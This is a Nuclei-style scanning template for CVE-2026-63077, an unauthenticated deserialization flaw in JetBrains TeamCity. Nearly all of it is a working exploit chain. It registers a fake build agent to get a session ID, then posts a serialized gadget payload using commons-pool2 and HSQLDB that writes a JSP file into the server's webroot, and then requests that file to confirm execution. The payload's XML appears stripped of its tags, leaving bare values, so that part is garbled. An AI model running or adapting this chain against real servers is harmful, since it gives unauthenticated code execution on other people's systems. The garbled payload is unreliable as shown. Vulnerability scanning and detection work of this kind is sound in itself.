id: CVE-2026-63077 info: name: "JetBrains TeamCity - Insecure Deserialization" author: vedas-arpsyndicate severity: critical description: | In JetBrains TeamCity before 2026.1.3, 2025.11.7 unauthenticated remote code execution was possible via the agent polling protocol reference: - https://www.exploit.observer/?keyword=CVE-2026-63077&match=exact - https://subdomain.center/?engine=ammonites&keyword=jetbrains&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-63077 cwe-id: CWE-502 metadata: verified: false tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,intrusive,vkev flow: http(1) && http(2) && http(3) && http(4) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 3 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_any(body, "TeamCity", "teamcity", "JetBrains")' condition: and internal: true - raw: - | POST /app/agents/v1/register HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml extractors: - type: regex name: session part: header group: 1 regex: - '(?i)teamcity-agentsessionid: ([^\r\n]+)' internal: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_any(to_lower(header), "teamcity-agentsessionid:")' condition: and internal: true - raw: - | POST /app/agents/v1/commands/error HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml TeamCity-AgentSessionId: {{session}} TeamCity-AgentCommandId: 123456 n1 -1 true org.hsqldb.jdbc.JDBCDriver true 8 8 0 0 -1 false false -1 false true false -1 3 1800000 -1 org.apache.commons.pool2.impl.DefaultEvictionPolicy false jdbc:hsqldb:mem:ruqemf{{randstr}} SA -1 CREATE TABLE TN{{randstr}}(CN{{randstr}} VARCHAR(4000)) INSERT INTO TN{{randstr}} VALUES ('<p><%=7*6%></p>PD-TP-CONFIRMED') SCRIPT '../webapps/ROOT/pd-tp-{{randstr}}.jspws' false -1 true true true false false false false n2 0 false false 2 3 0 2003000 2.3.0 0 false false 0 false false 0 true false false true n3 connection matchers: - type: dsl dsl: - 'status_code == 200 || status_code == 500' internal: true - raw: - | GET /pd-tp-{{randstr}}.jspws HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "PD-TP-CONFIRMED" - type: word part: body words: - "<%=7*6%>" negative: true - type: status status: - 200 - type: status status: - 200